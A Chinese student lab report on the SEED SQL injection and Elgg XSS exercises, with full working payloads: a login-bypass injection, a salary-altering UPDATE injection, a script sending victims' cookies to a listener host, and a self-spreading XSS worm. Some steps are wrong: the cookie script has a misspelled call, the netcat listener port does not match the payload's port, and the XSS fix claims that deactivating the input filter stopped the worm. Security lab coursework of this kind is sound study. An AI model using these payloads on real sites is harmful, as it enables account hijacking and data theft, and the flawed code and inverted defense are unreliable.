目录
一、实践内容
1. SQL注入
(1)概述
结构化查询语言(Structured Query Language,缩写:SQL):一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言);
SQL注入(SQL Injection):是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。
(2)漏洞危害
SQL注入漏洞对于数据安全的影响:
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统。
2. xss跨站脚本
(1)概述
XSS(跨站脚本攻击):攻击者利用这个漏洞将恶意脚本注入到网页中,当其它用户浏览这些页面时,恶意脚本会在用户的浏览器中执行。XSS攻击允许攻击者在用户的浏览器上执行脚本,从而可能获取用户的敏感信息(如cookies)、篡改网页内容、重定向用户至恶意站点,甚至进行钓鱼攻击等。
(2)原理
HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
二、实践过程
1. SEED SQL注入攻击与防御实验
我们已经创建了一个 Web 应用程序,并将其托管在 www.SEEDLabSQLInjection.com
。该 Web 应用程序是一个简单的员工管理应用程序。员工可以通过此 Web 应用程序查看和更新数据库中的个人信息。此 Web 应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
永久修改主机名:在 ubuntu 系统中修改 hostname 为 20241904lwl。首先使用命令 sudo vi /etc/hostname
打开文件,先按 i 进入编辑模式,将文件中的旧主机名删除,输入新的主机名,修改完成后按 Esc 键,再输入 :wq
保存并退出编辑器,然后重启系统。
(1)熟悉SQL查询
任务:已经创建了一个名为 Users 的数据库,其中包含一个名为 creditential 的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn 等),需要使用数据库来熟悉 SQL 查询。
- 输入命令行
sudo service apache2 start
开启 Apache 服务;输入sudo service apache2 status
检查 Apache 状态,输出显示 active(running);
- 输入命令行
mysql -u root -p
登录 MySQL 数据库,输入密码 seedubuntu;
- 使用
show databases;
命令查看已有数据库;
- 输入命令行
use Users;
和show tables;
查看 Users 中的所有表;
- 利用 SQL 语句
select * from credential;
查看表中内容,可以看到该信息表中包含ID、姓名、EID、薪资、生日、SSN、密码等信息;
(2)对SELECT语句的SQL注入攻击
任务:上述 Web 应用存在 SQL 输入漏洞,需要在不知道密码的情况下登陆该 Web 应用程序。
- 在浏览器中输入
http://www.seedlabsqlinjection.com/
进入已经搭建好的 Web 页面;
- 右键查看网页源码,得知用户输入信息通过 get 的方法提交至 unsafe_home.php 页面进行校验;
- 然后在终端中打开该文件,进行代码审计;进入
/var/www/SQLInjection/
目录,找到 unsafe_home.php,然后输入命令:vim unsafe_home.php
,可以看到程序针对 Admin 和普通用户采用不同的处理方法;
- 重点观察下面的 SQL 查询语句,其中 where 参数处存在 SQL 注入漏洞;输入变量 $input_uname 为
Admin'#
时,'
与 SQL 语句中的单引号闭合,#
就被解释成了 SQL 语句中的注释符,将后续的 SQL 语句注释掉使得#
后的 Password 判断不会执行,这样的话,就可以绕过密码校验,直接进入 Admin 用户页面;
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
- 验证猜想,输入账户:Admin’# ,密码:随机,登录成功;对 SELECT 语句的SQL注入攻击成功。
(3)对UPDATE语句的SQL注入攻击
任务:通过员工的更新个人界面实施 UPDATE 语句的 SQL 注入攻击。
- 进入 Edit_Profile 更新页面,查看源代码,看到表单以 get 方式将数据发到 unsafe_edit_backend.php 页面;
- 输入命令
vim unsafe_edit_backend.php
,找到源码中的 UPDATE SQL 语句;
- 同理,可以构造
', Salary='20241904' where name='Admin'; #
,对 Admin 的 Salary 进行修改,进行 SQL 注入攻击;保存后看到 Admin 的 Salary 已经改为20241904;对 UPDATE 语句的 SQL 注入攻击实验成功。
(4)SQL对抗
任务:修复上述SQL注入攻击漏洞。
- 进入
/var/www/SQLInjection/
目录,找到 unsafe_home.php,然后输入命令:sudo vim unsafe_home.php
,查看其源码;(在root权限下,才可以对文件进行修改)
- 观察 unsafe_home.php 文件的源代码,可以发现,它们对 SQL 语句的参数和需要执行的动作或条件混在一起没有分开,导致数据库无法分清楚,产生 SQL 注入风险。可以使用预处理语句避免上述注入攻击的实现,首先在 unsafe_home.php 页面中,对SELECT语句进行预处理:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
- 修改保存 unsafe_home.php 文件后,登录失败。
- 进入
/var/www/SQLInjection/
目录,找到 unsafe_edit_backend.php,然后输入命令:sudo vim unsafe_edit_backend.php
,查看其源码;
- 接着,在 unsafe_edit_backend.php 页面中,对 UPDATE 语句进行预处理。对 UPDATE 的修复如下,用以下代码替换掉 SQL 部分的代码:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
- 修改保存后,进入unsafe_edit_backend.php 页面,输入
', Salary='20241904' where name='Alice'
,点击Save按钮后一直卡在空白页面,可以发现 UPDATE 对数据库的修改失败。
2. SEED XSS跨站脚本攻击实验(Elgg)
任务:为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
(1)发布恶意消息,显示警报窗口
任务:在您的 Elgg 配置文件中嵌入一个 JavaScript 程序,以便当另一个用户查看您的配置文件时,将执行 JavaScript 程序并显示一个警报窗口。
- 在浏览器中访问
http://www.xsslabelgg.com/
,输入账号:Alice 密码:seedalice 进行登录;
- 点击 Alice 头像进入主页,点击 Edit profile,在 Brief description 中输入 XSS 攻击代码:
<script>alert('lwl_xss');</script>
;
- 点击save按钮进行保存,发现弹出 lwl_xss 警告弹窗。
(2)弹窗显示cookie信息
任务:将 cookie 信息显示。
- 点击 Edit profile,在 Brief description 中输入 XSS 攻击代码:
<script>alert(document.cookie);</script>
;
- 点击save按钮进行保存,显示出 cookie 的信息。
(3)窃取受害者的cookies
任务:将 cookie 发送给攻击者。
- 查看 ubuntu-lwl 的IP地址:192.168.200.6;
- 构造 XSS 攻击代码,只要有用户访问 Alice 的主页,就会接收到该用户的 cookie。点击 Edit profile,在 Brief description 中输入 XSS 攻击代码:
<script>documment.write('<img src=http://192.168.200.6:5555?c='+escape(document.cookie) + '>');</script>
并保存,此时端口设置为5555;
- 切换账号:Boby 密码:seedboby,使用 Boby 的账号进行登录并访问 Alice 的主页;
- 访问 Alice 主页前输入指令
nc -l 5505 -v
(其中 -l 指定端口,-v 显示详细信息)监听5555端口,访问 Alice 主页后成功得到 Boby 的 cookie。
(4)成为受害者的朋友
任务:使用 js 程序加受害者为朋友,无需受害者干预,使用相关的工具了解 Elgg 加好友的过程。
- 假设当前登录用户为 Alice,然后访问用户 Boby 的主页;首先点击
ctrl+shift+E
打开浏览器开发者模式,进入 Network 页面,然后点击和 Boby 成为好友;可以看到点击按钮后浏览器发送了 GET 请求;
- 其中请求的地址是:http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1745740896&__elgg_token=9Bq6co2QD3dVHkzNbcPUHA ;可以看到,这里用到了三个参数(friend,__elgg_ts,__elgg_token,分别是好友、时间、身份认证);
- 根据以上信息构造以下js程序代码:
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
- 将该段代码添加至 Alice 的 About me 中,并选择 Edit HTML 模式点击保存;
- 切换账号:Boby 密码:seedboby,使用 Boby 的账号进行登录;可以看到 Boby 目前没有好友;
- 访问 Alice 主页,再通过左上角返回 Boby 主页,看到 Boby 已经和 Alice 成为朋友。
(5)修改受害者的信息
任务:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
- 首先进入 Alice 主页,尝试更改 About me 的内容,并在 Network 中查看到网站用 POST 的方式提交表单给
http://www.xsslabelgg.com/action/profile/edit
链接;
- 根据日志信息使用以下代码构造 js 程序:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.lwl20241904 </p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 同理,将其添加在 Alice 的 About me 中,并点击保存;
- 登录Boby的账号,并浏览Alice的主页,有弹窗出现;
- 再回到Boby的主页发现 About me 已经被改变,js 程序修改受害者主页成功。
(6)编写XSS蠕虫
- 根据前面的xss攻击代码构造一个具有传染性的xss蠕虫,代码如下:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>Hacked by xss attack.lwl20241904"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 将这段代码添加至Alice的About me中,并点击保存;
- 登录 Boby 号,访问 Alice 主页并查看 Boby 的 About me;发现 Boby 已经被改变了,感染了xss 蠕虫攻击代码;
- 退出登录 Boby,使用 Samy(密码:seedsamy) 访问 Boby,发现 Samy 被感染。
(7)对抗XSS攻击
- 登录Admin的账号(账号:Admin 密码:seedelgg);
- 点击Account -> Administration -> plugins;
- 找到插件 HTMLawed ,将其关闭,设为 Deactivate 状态。该插件用来校验用户的输入输出,并且可以自动删除特定的标签;
- 再次登录 Boby 账号,发现 XSS 蠕虫攻击已经失效。
三、学习中遇到的问题及解决
- 问题1:开启 apache 服务时,出现 unable to resolve host 20241904lwl : Connection timed out 错误;
- 问题1解决方案:首先在
/etc/hosts
中添加对应的解析,确保文件中有一行将主机名解析到正确的IP地址;输入sudo service apache2 status
检查 Apache 状态,输出显示 active(running),启动成功。
- 问题2:对UPDATE语句进行SQL注入攻击时,无法进入 Edit_Profile 更新页面;
- 问题2解决方案:安装VMtools,安装过程中出现以下问题,查询可知因为当前用户没有足够的权限来安装 VMware Tools,需要以超级用户(root)身份运行安装脚本,安装成功。
- 问题3:实验二中使用 js 程序加受害者为朋友无法实现;
- 问题3解决方案:应先选择 Edit HTML 模式,然后将该段代码添加至 Alice 的 About me 中,再点击保存即可成功。
四、实践总结
本周主要学习了SQL注入和XSS蠕虫攻击,充分理解了它们的攻击原理以及防御策略,我感觉到本次实践内容多而复杂但是相对来说比较简单;SQL注入是在以前的实践课程中学习过的内容,通过本次实践能够回忆起相关知识点,而XSS跨站脚本攻击是全新的学习过程,通过实践也对其在链接中插入恶意代码深有体会。需要注意的是本次实验需要在新版本(SEEDUbuntu-16.04-32bit)的虚拟机中操作,在以往下载的SEEDUbuntu9_August_2010版本中无法查询到Users数据库。